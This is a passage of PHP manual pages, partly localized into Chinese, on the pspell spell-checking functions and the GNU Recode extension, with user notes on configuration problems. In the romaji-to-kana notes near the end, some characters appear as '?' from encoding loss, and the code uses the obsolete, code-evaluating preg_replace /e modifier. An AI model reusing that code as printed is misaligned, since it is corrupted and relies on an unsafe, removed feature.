8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

User Contributed Notes

There are no user contributed notes for this page.


Ignore words less than N characters long

  • ? pspell_config_dict_dir
  • pspell_config_mode ?
  • PHP Manual
  • Pspell 函数
  • Ignore words less than N characters long

pspell_config_ignore

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_ignore — Ignore words less than N characters long

说明

pspell_config_ignore(PSpell\Config $config, int $min_length): bool

pspell_config_ignore() should be used on a config before calling pspell_new_config(). This function allows short words to be skipped by the spell checker.

参数

config

An PSpell\Config instance.

min_length

Words less than min_length characters will be skipped.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

示例

Example #1 pspell_config_ignore()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_ignore($pspell_config, 5);
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "abcd"); //will not result in an error
?>

User Contributed Notes

There are no user contributed notes for this page.


Change the mode number of suggestions returned

  • ? pspell_config_ignore
  • pspell_config_personal ?
  • PHP Manual
  • Pspell 函数
  • Change the mode number of suggestions returned

pspell_config_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_mode — Change the mode number of suggestions returned

说明

pspell_config_mode(PSpell\Config $config, int $mode): bool

pspell_config_mode() should be used on a config before calling pspell_new_config(). This function determines how many suggestions will be returned by pspell_suggest().

参数

config

An PSpell\Config instance.

mode

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

示例

Example #1 pspell_config_mode() Example

<?php
$pspell_config = pspell_config_create("en");
pspell_config_mode($pspell_config, PSPELL_FAST);
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


Set a file that contains personal wordlist

  • ? pspell_config_mode
  • pspell_config_repl ?
  • PHP Manual
  • Pspell 函数
  • Set a file that contains personal wordlist

pspell_config_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_personal — Set a file that contains personal wordlist

说明

pspell_config_personal(PSpell\Config $config, string $filename): bool

Set a file that contains personal wordlist. The personal wordlist will be loaded and used in addition to the standard one after you call pspell_new_config(). The file is also the file where pspell_save_wordlist() will save personal wordlist to.

pspell_config_personal() should be used on a config before calling pspell_new_config().

参数

config

An PSpell\Config instance.

filename

The personal wordlist. If the file does not exist, it will be created. The file should be writable by whoever PHP runs as (e.g. nobody).

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

示例

Example #1 pspell_config_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

注释

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

Anonymous 05-Feb-2009 07:49
There is no error if the file does not exists. So if you are debugging, check wheter the file really exists.


Set a file that contains replacement pairs

  • ? pspell_config_personal
  • pspell_config_runtogether ?
  • PHP Manual
  • Pspell 函数
  • Set a file that contains replacement pairs

pspell_config_repl

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_repl — Set a file that contains replacement pairs

说明

pspell_config_repl(PSpell\Config $config, string $filename): bool

Set a file that contains replacement pairs.

The replacement pairs improve the quality of the spellchecker. When a word is misspelled, and a proper suggestion was not found in the list, pspell_store_replacement() can be used to store a replacement pair and then pspell_save_wordlist() to save the wordlist along with the replacement pairs.

pspell_config_repl() should be used on a config before calling pspell_new_config().

参数

config

An PSpell\Config instance.

filename

The file should be writable by whoever PHP runs as (e.g. nobody).

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

示例

Example #1 pspell_config_repl()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

注释

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Consider run-together words as valid compounds

  • ? pspell_config_repl
  • pspell_config_save_repl ?
  • PHP Manual
  • Pspell 函数
  • Consider run-together words as valid compounds

pspell_config_runtogether

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_runtogether — Consider run-together words as valid compounds

说明

pspell_config_runtogether(PSpell\Config $config, bool $allow): bool

This function determines whether run-together words will be treated as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.

pspell_config_runtogether() should be used on a config before calling pspell_new_config().

参数

config

An PSpell\Config instance.

allow

true if run-together words should be treated as legal compounds, false otherwise.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

示例

Example #1 pspell_config_runtogether()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_runtogether($pspell_config, true);
$pspell = pspell_new_config($pspell_config);
pspell_check($pspell, "thecat");
?>

User Contributed Notes

There are no user contributed notes for this page.


Determine whether to save a replacement pairs list along with the wordlist

  • ? pspell_config_runtogether
  • pspell_new_config ?
  • PHP Manual
  • Pspell 函数
  • Determine whether to save a replacement pairs list along with the wordlist

pspell_config_save_repl

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_config_save_repl — Determine whether to save a replacement pairs list along with the wordlist

说明

pspell_config_save_repl(PSpell\Config $config, bool $save): bool

pspell_config_save_repl() determines whether pspell_save_wordlist() will save the replacement pairs along with the wordlist. Usually there is no need to use this function because if pspell_config_repl() is used, the replacement pairs will be saved by pspell_save_wordlist() anyway, and if it is not, the replacement pairs will not be saved.

pspell_config_save_repl() should be used on a config before calling pspell_new_config().

参数

config

An PSpell\Config instance.

save

true if replacement pairs should be saved, false otherwise.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.

注释

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Load a new dictionary with settings based on a given config

  • ? pspell_config_save_repl
  • pspell_new_personal ?
  • PHP Manual
  • Pspell 函数
  • Load a new dictionary with settings based on a given config

pspell_new_config

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new_config — Load a new dictionary with settings based on a given config

说明

pspell_new_config(PSpell\Config $config): PSpell\Dictionary|false

pspell_new_config() opens up a new dictionary with settings specified in a config, created with pspell_config_create() and modified with pspell_config_*() functions. This method provides you with the most flexibility and has all the functionality provided by pspell_new() and pspell_new_personal().

参数

config

The config parameter is the one returned by pspell_config_create() when the config was created.

返回值

Returns an PSpell\Dictionary instance on success, 或者在失败时返回 false

更新日志

版本 | 说明
8.1.0 | The config parameter expects an PSpell\Config instance now; previously, a resource was expected.
8.1.0 | Returns an PSpell\Dictionary instance now; previously, a resource was returned.

示例

Example #1 pspell_new_config()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_config($pspell_config);
?>

User Contributed Notes

soapergem at gmail dot com 19-Aug-2008 08:34
Today I ran into an interesting problem that I thought I'd share here to save the next developer that ends up in the same situation a whole lot of trouble. I have been running PHP5 as a FastCGI module on a Windows IIS server, and I recently installed the Aspell library and enabled the pspell extension in my php.ini file. I also installed the English Aspell dictionary. But when I went to use pspell, I was getting ambiguous errors that would terminate script execution without warning.

So I started to break things down, and came to the conclusion that the following code successfully executed its first line, but broke on the last line with the call to pspell_new_config:

<?php

$pspell_config = pspell_config_create('en');
$pspell_link = pspell_new_config($pspell_config);

?>

This returned a FastCGI error in the browser, with error number -2147467259 (0x80004005). By luck, I happened to think to try the same script via the command line, which gave a much more descriptive error. What happened was that the dictionary installer created the *.dat files in the Aspell\data directory using the Windows standard CRLF "\r\n" instead of the UNIX standard "\n" for line feeds. By changing these all back to the UNIX standard, everything worked. It's apparently very touchy about these line feeds, so if you're wracking your brain over why pspell_new_config is breaking your scripts and you're using a Windows server, start by ensuring that there aren't any extraneous "\r" characters in your dictionary files.


Load a new dictionary with personal wordlist

  • ? pspell_new_config
  • pspell_new ?
  • PHP Manual
  • Pspell 函数
  • Load a new dictionary with personal wordlist

pspell_new_personal

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new_personal — Load a new dictionary with personal wordlist

说明

pspell_new_personal(
string $filename,
string $language,
string $spelling = "",
string $jargon = "",
string $encoding = "",
int $mode = 0
): PSpell\Dictionary|false

pspell_new_personal() opens up a new dictionary with a personal wordlist. The wordlist can be modified and saved with pspell_save_wordlist(), if desired. However, the replacement pairs are not saved. In order to save replacement pairs, you should create a config using pspell_config_create(), set the personal wordlist file with pspell_config_personal(), set the file for replacement pairs with pspell_config_repl(), and open a new dictionary with pspell_new_config().

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

参数

filename

The file where words added to the personal list will be stored. It should be an absolute filename beginning with '/' because otherwise it will be relative to $HOME, which is "/root" for most systems, and is probably not what you want.

language

The language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

Extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding that words are expected to be in. Valid values are utf-8, iso8859-*, koi8-r, viscii, cp1252, machine unsigned 16, machine unsigned 32.

mode

The mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)
  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.
Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

返回值

Returns an PSpell\Dictionary instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | Returns an PSpell\Dictionary instance now; previously, a resource was returned.

示例

Example #1 pspell_new_personal()

<?php
$pspell = pspell_new_personal ("/var/dictionaries/custom.pws",
"en", "", "", "", PSPELL_FAST|PSPELL_RUN_TOGETHER);
?>

User Contributed Notes

There are no user contributed notes for this page.


Load a new dictionary

  • ? pspell_new_personal
  • pspell_save_wordlist ?
  • PHP Manual
  • Pspell 函数
  • Load a new dictionary

pspell_new

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_new — Load a new dictionary

说明

pspell_new(
string $language,
string $spelling = "",
string $jargon = "",
string $encoding = "",
int $mode = 0
): PSpell\Dictionary|false

pspell_new() opens up a new dictionary and returns an PSpell\Dictionary instance for use in other pspell functions.

For more information and examples, check out inline manual pspell website:» http://aspell.net/.

参数

language

The language parameter is the language code which consists of the two letter ISO 639 language code and an optional two letter ISO 3166 country code after a dash or underscore.

spelling

The spelling parameter is the requested spelling for languages with more than one spelling such as English. Known values are 'american', 'british', and 'canadian'.

jargon

The jargon parameter contains extra information to distinguish two different words lists that have the same language and spelling parameters.

encoding

The encoding parameter is the encoding that words are expected to be in. Valid values are 'utf-8', 'iso8859-*', 'koi8-r', 'viscii', 'cp1252', 'machine unsigned 16', 'machine unsigned 32'. This parameter is largely untested, so be careful when using.

mode

The mode parameter is the mode in which spellchecker will work. There are several modes available:

  • PSPELL_FAST - Fast mode (least number of suggestions)
  • PSPELL_NORMAL - Normal mode (more suggestions)
  • PSPELL_BAD_SPELLERS - Slow mode (a lot of suggestions)
  • PSPELL_RUN_TOGETHER - Consider run-together words as legal compounds. That is, "thecat" will be a legal compound, although there should be a space between the two words. Changing this setting only affects the results returned by pspell_check(); pspell_suggest() will still return suggestions.
Mode is a bitmask constructed from different constants listed above. However, PSPELL_FAST, PSPELL_NORMAL and PSPELL_BAD_SPELLERS are mutually exclusive, so you should select only one of them.

返回值

Returns an PSpell\Dictionary instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | Returns an PSpell\Dictionary instance now; previously, a resource was returned.

示例

Example #1 pspell_new()

<?php
$pspell = pspell_new("en", "", "", "",
(PSPELL_FAST|PSPELL_RUN_TOGETHER));
?>

User Contributed Notes

wookie 29-Sep-2008 11:52
Just as a small tip, I noticed that when you call pspell_new multiple times, php does not free memory usage when the resource is destroyed, but only when your entire script has completely finished. So if you create a pspell_link resource and you intend to use it again somewhere else, instead of calling pspell_new again, keep track of your original pspell_link resource instantiation, and use it again, your script will run much more efficiently.

I was switching between 16 dictionaries by just calling a new pspell_new everytime, my memory usage on the server grew until i hit a failure/php core dump. :-/ So i stored each pspell resource in an array keyed by language, and checked if the resource existed first, before creating one if needed.

I hope that helps someone.
allan at wagawaga dot dk 21-Aug-2008 05:00
I think the language and spelling parameters differs on different PHP versions and/or aspell/UNIX distributions.

My PHP 5.2.6 Debian ignores the spelling parameter.

Instead:

For Americans use en_US as language.
For British use en_GB (not en_UK)
For Canadian use en_CA


Save the personal wordlist to a file

  • ? pspell_new
  • pspell_store_replacement ?
  • PHP Manual
  • Pspell 函数
  • Save the personal wordlist to a file

pspell_save_wordlist

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_save_wordlist — Save the personal wordlist to a file

说明

pspell_save_wordlist(PSpell\Dictionary $dictionary): bool

pspell_save_wordlist() saves the personal wordlist from the current session. The location of files to be saved specified with pspell_config_personal() and (optionally) pspell_config_repl().

参数

dictionary

An PSpell\Dictionary instance.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The dictionary parameter expects an PSpell\Dictionary instance now; previously, a resource was expected.

示例

Example #1 pspell_add_to_personal()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/tmp/dicts/newdict");
$pspell = pspell_new_config($pspell_config);

pspell_add_to_personal($pspell, "Vlad");
pspell_save_wordlist($pspell);
?>

注释

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Store a replacement pair for a word

  • ? pspell_save_wordlist
  • pspell_suggest ?
  • PHP Manual
  • Pspell 函数
  • Store a replacement pair for a word

pspell_store_replacement

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_store_replacement — Store a replacement pair for a word

说明

pspell_store_replacement(PSpell\Dictionary $dictionary, string $misspelled, string $correct): bool

pspell_store_replacement() stores a replacement pair for a word, so that replacement can be returned by pspell_suggest() later. In order to be able to take advantage of this function, you have to use pspell_new_personal() to open the dictionary. In order to permanently save the replacement pair, you have to use pspell_config_personal() and pspell_config_repl() to set the path where to save your custom wordlists, and then use pspell_save_wordlist() for the changes to be written to disk.

参数

dictionary

An PSpell\Dictionary instance.

misspelled

The misspelled word.

correct

The fixed spelling for the misspelled word.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The dictionary parameter expects an PSpell\Dictionary instance now; previously, a resource was expected.

示例

Example #1 pspell_store_replacement()

<?php
$pspell_config = pspell_config_create("en");
pspell_config_personal($pspell_config, "/var/dictionaries/custom.pws");
pspell_config_repl($pspell_config, "/var/dictionaries/custom.repl");
$pspell = pspell_new_config($pspell_config);

pspell_store_replacement($pspell, $misspelled, $correct);
pspell_save_wordlist($pspell);
?>

注释

Note:

This function will not work unless you have pspell .11.2 and aspell .32.5 or later.

User Contributed Notes

There are no user contributed notes for this page.


Suggest spellings of a word

  • ? pspell_store_replacement
  • PSpell\Dictionary ?
  • PHP Manual
  • Pspell 函数
  • Suggest spellings of a word

pspell_suggest

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

pspell_suggest — Suggest spellings of a word

说明

pspell_suggest(PSpell\Dictionary $dictionary, string $word): array|false

pspell_suggest() returns an array of possible spellings for the given word.

参数

dictionary

An PSpell\Dictionary instance.

word

The tested word.

返回值

Returns an array of possible spellings.

更新日志

版本 | 说明
8.1.0 | The dictionary parameter expects an PSpell\Dictionary instance now; previously, a resource was expected.

示例

Example #1 pspell_suggest() example

<?php
$pspell = pspell_new("en");

if (!pspell_check($pspell, "testt")) {
$suggestions = pspell_suggest($pspell, "testt");

foreach ($suggestions as $suggestion) {
echo "Possible spelling: $suggestion<br />";
}
}
?>

User Contributed Notes

webmaster at hostpure dot com 12-Apr-2004 05:42
It seems if you are trying to do something similar to the Google 'Did you mean:' suggestions and are selecting the first word given by the pspell_suggest() function, then it will not work well with custom dictionaries and replacements. Take the following code for example:

<?php
    $pspell_config = pspell_config_create("en");
    pspell_config_personal($pspell_config, "/home/user/public_html/custom.pws");
    pspell_config_repl($pspell_config, "/home/user/public_html/custom.repl");
    $pspell_link = pspell_new_config($pspell_config);

    $words = preg_split ("/\s+/", $query);
    $ii = count($words);

    global $spellchecked;
    $spellchecked = "";

    for($i=0;$i<$ii;$i++){

        if (pspell_check($pspell_link, $words[$i]))
        {
            $spellchecked .= $words[$i]." ";
        }
        else
        {
            $erroneous = "yes";
            $suggestions = pspell_suggest($pspell_link, $words[$i]);
            $spellchecked .= $suggestions[0]." ";
        }
    }
    if($erroneous == "yes")
    {
        echo "Did you mean: <i>".$spellchecked."?";
    }
    else
    {
        echo $spellchecked . " is a valid word/phrase";
    }
?>

This works fine most of the time, and gives suggestions to what you meant when inserting a spelling mistake with most inputs. However, if you specify a custom replacement and then search for the misspelt word that you specified, then if it is not the first returned suggestion it wont be used in the 'Did you mean' end result. What you need to do is open up the custom dictionary using fopen and fread, and then for each of the suggested words, check if they are in the dictionary. If the suggested word is in the custom dictionary then use it in the 'Did you mean' part, if not, discard it and try the next. Hope this helps anyone who comes across this problem with trying to get more accurate suggestions.


The PSpell\Dictionary class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a pspell resource as of PHP 8.1.0.

类摘要

final class PSpell\Dictionary {
}

User Contributed Notes

There are no user contributed notes for this page.


The PSpell\Config class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a pspell config resource as of PHP 8.1.0.

类摘要

final class PSpell\Config {
}

User Contributed Notes

There are no user contributed notes for this page.


GNU Recode

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Recode 函数
    • recode_file — Recode from file to file according to recode request
    • recode_string — Recode a string according to a recode request
    • recode — 别名 recode_string

User Contributed Notes

There are no user contributed notes for this page.


简介

This module contains an interface to the GNU Recode library. The GNU Recode library converts files between various coded character sets and surface encodings. When this cannot be achieved exactly, it may get rid of the offending characters or fall back on approximations. The library recognises or produces nearly 150 different character sets and is able to convert files between almost any pair. Most » RFC 1345 character sets are supported.

Note: This extension is unbundled and moved to » PECL as of PHP 7.4.0. Consider to use the Multibyte String or iconv extensions instead.

Note: 此扩展在 Windows 平台上不可用。

User Contributed Notes

There are no user contributed notes for this page.


需求

You must have GNU Recode 3.5 or higher installed on your system. You can download the package from » http://directory.fsf.org/All_GNU_Packages/recode.html.

Warning

The Recode library version 3.6 adds weird characters behind converted strings under certain circumstances. Thus it's safer to use Recode v3.5 or one of the available alternatives like the iconv or mbstring extension.

User Contributed Notes

There are no user contributed notes for this page.


安装

PHP 7.4

此扩展已被移至 » PECL 资源库；不再与 PHP 捆绑，从 PHP 7.4.0

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/recode.

PHP < 7.4

To be able to use the functions defined in this module you must compile your PHP interpreter using the --with-recode[=DIR] option.

Warning

Crashes and startup problems of PHP may be encountered when loading the recode as extension after loading any extension of mysql or imap. Loading the recode before those extension has proved to fix the problem. This is due a technical problem that both the c-client library used by imap and recode have their own hash_lookup() function and both mysql and recode have their own hash_insert function.

Warning

IMAP，recode，和 YAZ 扩展不能同时使用，因为它们共享了相同 的内部符号。注意：Yaz 2.0 及以上版本不存在此问题。

User Contributed Notes

felix at ozyx dot net 09-Feb-2012 11:55
The warnings on this page are really important.

If you ever end up with a Segmentation Fault (core dump 11), and have something similar to this in your stack trace:

Reading symbols from /libexec/ld-elf.so.1...done.
Loaded symbols for /libexec/ld-elf.so.1
#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
349     misc.c: No such file or directory.
        in misc.c
[New Thread 8016041c0 (LWP 100388)]

#0  0x0000000805936da2 in hash_lookup (hashtab=0x8099ad600, key=0x7fffffffe590 "1:3\b\b") at misc.c:349
        ret = Variable "ret" is not available.


Recode 函数

Table of Contents

  • recode_file — Recode from file to file according to recode request
  • recode_string — Recode a string according to a recode request
  • recode — 别名 recode_string

User Contributed Notes

henrique at augusto dot com 28-Mar-2014 11:08
I have problems with php5-recode and php5-odbc. With both packages installed, odbc_execute() hangs up causing Segmentation Fault. I was using a simple script to test that:

<?php
#DSN "mydb" with a user and password "marin"
$connect = odbc_connect("myaccess", "", "");

# query the users table for name and surname
$query = "SELECT * FROM FRT_NAME";

# perform the query
$result = odbc_exec($connect, $query);

# fetch the data from the database
while(odbc_fetch_row($result)){
        $name = odbc_result($result, 2);
        print("$name\n");
}

# close the connection
 odbc_close($connect);
?>

After uninstalling php5-recode, the issue is solved.
theather at I dot am 07-Aug-2005 06:55
I see that the Recode (3.6) module is also incompatible with the MySQL module as well as the others noted in the "warning" note above.
pet at humaj dot sk 30-Apr-2003 06:51
Hope this might help someone:

I tried to compile php 4.3.2-RC2 (+some older versions) with recode AND imap (and gd+png+jpeg support, ldap, gettext, zlib .. but these are not interesting right now).

Why? I needed to run Imp + Horde + Turba. Turba talks to LDAP directory (and LDAP uses utf-8 encoding which I need to convert to iso-8859-2), so I modified Turba to use 'recode' for charset conversions utf8<->iso8859-2.

System: FreeBSD4.7+Apache 1.3.27+Ben SSL

I either could not properly compile OR after compiling apache coredumped.

Problem was: imap (libc-client) and recode (librecode) use the same function hash_lookup(). Therefore during loading libphp.so (and libraries it depended on) whole apache crashed. Without a word of what's going on.

The problem is detectable by forcing static linking (in FreeBSD modify librecode.la and change
library_names='librecode.so.0 librecode.so librecode.so'
to
library_names='librecode.a'

Now during linking of php the linker complains of double definition of hash_lookup.

Solution:

-grab recode3.6 from ftp://ftp.gnu.org/pub/gnu/recode/
-unpack, go to src, in files combine.c, hash.c, names.c, recode.c, testdump.c, html.c, hash.h replace hash_lookup() by hash_lookupX() [or invent some better name],
compile recode (i had to do:

setenv CFLAGS "-I/usr/local/include"
setenv LDFLAGS "-L/usr/local/lib -lintl"
./configure --prefix=/usr/local/recode --exec-prefix=/usr/local/recode --without-included-gettext
make
make check
make install

(recode is installed to /usr/local/recode.You can change this and you can force static linking of recode, so that after building libphp.so this modified recode is no longer needed and can be deleted! )

For some reason this recode needs to have externally defined
int error;
therefore we have to modify configure script +one .c php source file:

1. modify configure script of php: find
recode_format_table();
and somewhere before start of main() add
int error;

so the result is:

char *program_name;
int error;
int main() {
recode_format_table();
; return 0; }

(I modified both occurences of recode_format_table() in configure of php4.3.2rc2)

2. run configure, should work ok (my another problem was with imap: though my c-client was compiled WITHOUT ssl, configure complained that it IS using ssl, so i had to edit configure once again and comment following lines:
void mm_searched(void){}
void mm_expunged(void){}
// char ssl_onceonlyinit();  --- commented
int main() {
// ssl_onceonlyinit(); --- commented
return 0;
}

Now configure was rather happy :-)

for the record: I did
./configure --with-apxs=/usr/local/apache/bin/apxs --with-imap --enable-sysvsem --enable-sysvshm --with-sybase=/usr/local/freetds --with-gettext --with-ldap --with-zlib --with-recode=/usr/local/recode -with-gd=/usr/local --with-jpeg-dir=/usr/local --with-png-dir=/usr/local

3. edit ext/recode/recode.c (or any other .c source file, add somewhere (e.g. at the end)
int error;

without it during linking 'error not defined' will be complained.

4. do 'make' and php is yours :-)

It took me 2 days.. so do not delete this note, someone might even find it useful and mail me his thanks :-]
cv at corbach dot de 03-Feb-2002 09:06
When compiling PHP into Apache as static module Apache configure will complain about an undefined symbol in librecode. You need recode-3.6 (e.g. on ftp://ftp.gnu.org/pub/gnu/recode/) to get rid of this error. It doesn't matter if you're compiling PHP as DSO.


Recode from file to file according to recode request

  • ? Recode 函数
  • recode_string ?
  • PHP Manual
  • Recode 函数
  • Recode from file to file according to recode request

recode_file

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode_file — Recode from file to file according to recode request

说明

recode_file(string $request, resource $input, resource $output): bool

Recode the file referenced by file handle input into the file referenced by file handle output according to the recode request.

参数

request

The desired recode request type

input

A local file handle resource for the input

output

A local file handle resource for the output

返回值

Returns false, if unable to comply, true otherwise.

示例

Example #1 Basic recode_file() example

<?php
$input = fopen('input.txt', 'r');
$output = fopen('output.txt', 'w');
recode_file("us..flat", $input, $output);
?>

注释

This function does not currently process file handles referencing remote files (URLs). Both file handles must refer to local files.

参见

  • fopen() - 打开文件或者 URL

User Contributed Notes

martin dot smeeckaert at gmail dot com 19-Sep-2013 04:07
The recode_file function will put the file position indicator at the end of each files, so if you want to re-use the handles use fseek beforehand.


Recode a string according to a recode request

  • ? recode_file
  • recode ?
  • PHP Manual
  • Recode 函数
  • Recode a string according to a recode request

recode_string

(PHP 4, PHP 5, PHP 7 < 7.4.0)

recode_string — Recode a string according to a recode request

说明

recode_string(string $request, string $string): string

Recode the string string according to the recode request request.

参数

request

The desired recode request type

string

The string to be recoded

返回值

Returns the recoded string or false, if unable to perform the recode request.

示例

Example #1 Basic recode_string() example

<?php
echo recode_string("us..flat", "The following character has a diacritical mark: á");
?>

注释

A simple recode request may be "lat1..iso646-de".

参见

  • The GNU Recode documentation of your installation for detailed instructions about recode requests.
  • mb_convert_encoding() - 转换字符串，从一个字符编码到另一个字符编码
  • UConverter::transcode() - Convert a string from one character encoding to another
  • iconv() - 将字符串从一个字符编码转换到另一个字符编码

User Contributed Notes

mori at homoeopathy dot co dot jp 20-Jun-2014 06:54
function Romaji2Kana works pretty good but few exception: "JA" and "DZA" were not converted correctly as Japanese speekes expected. Following is a correction of that behavior.

     public function convert($s, $mode='hiragana')
     {
         $s = strtoupper(str_replace(
-                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
+                            Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dzi', 'ji', 'j', 'l', '-',
                                   'a', '?', '?', 'ê', '?', 'ā', 'ī', 'ū', 'ē', 'ō'),
-                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
+                            Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'zi',  'zi', 'dz','r', '^',
                                   'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
                             $s));
+        // DZA -> ZIya
+        $s = preg_replace('/DZ([AUO])/e', '"ZI".strtolower("y\1")', $s);
+        // DZE -> ZIe
+        $s = preg_replace('/DZ([E])/e', '"ZI".strtolower("\1")', $s);
         // FO -> FUxo
         $s = preg_replace('@F([AIOE])@e', '"HU".strtolower("\1")', $s);
         // VO -> VUxo
msimonc at yahoo dot com 09-Oct-2008 03:33
Seems to require that librecode be installed.
Try iconv() instead.
bisqwit at iki dot fi 23-Nov-2005 10:41
Here's how to convert romaji to katakana/hiragana with PHP (transliterating Japanese text).
The function Romaji2Kana($s) will return with keys 'hira' and 'kata' that respectively contain the hiragana and katakana versions of the given string in UTF-8 encoding.

<?php
// eucjp: 2421; unicode: 3041
define('HIRATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn ');
// eucjp: 2521; unicode: 30A1
define('KATATABLE', 'a A i I u U e E o O KAGAKIGIKUGUKEGEKOGOSAZASIZISUZUSEZESOZO'.
'TADATIDItuTUDUTEDETODONANINUNENOHABAPAHIBIPIHUBUPUHEBEPEHOBOPO'.
'MAMIMUMEMOyaYAyuYUyoYORARIRUREROwaWAWIWEWOn VUkake');

function HiraTrans($s)
{
  #print "trans('$s')\n";
  $pos = strpos(HIRATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA4A1 + $pos/2;
}
function KataTrans($s)
{
  $pos = strpos(KATATABLE, $s);
  if($pos===false) return 0xA1BC; // ^
  return 0xA5A1 + $pos/2;
}

function Romaji2Kana($s)
{
  $s = strtoupper(str_replace(
     Array('shi', 'sh', 'fu', 'chi', 'ch', 'tsu', 'dz', 'l', '-',
           'a', '?', '?', 'ê', '?', 'ā', 'ī', 'ū', 'ē', 'ō'),
     Array('si',  'sy', 'hu', 'ti',  'ty', 'tu',  'j',  'r', '^',
           'a^', 'i^', 'u^', 'e^', 'o^', 'a^', 'i^', 'u^', 'e^', 'o^'),
     $s));
  // FO -> FUxo
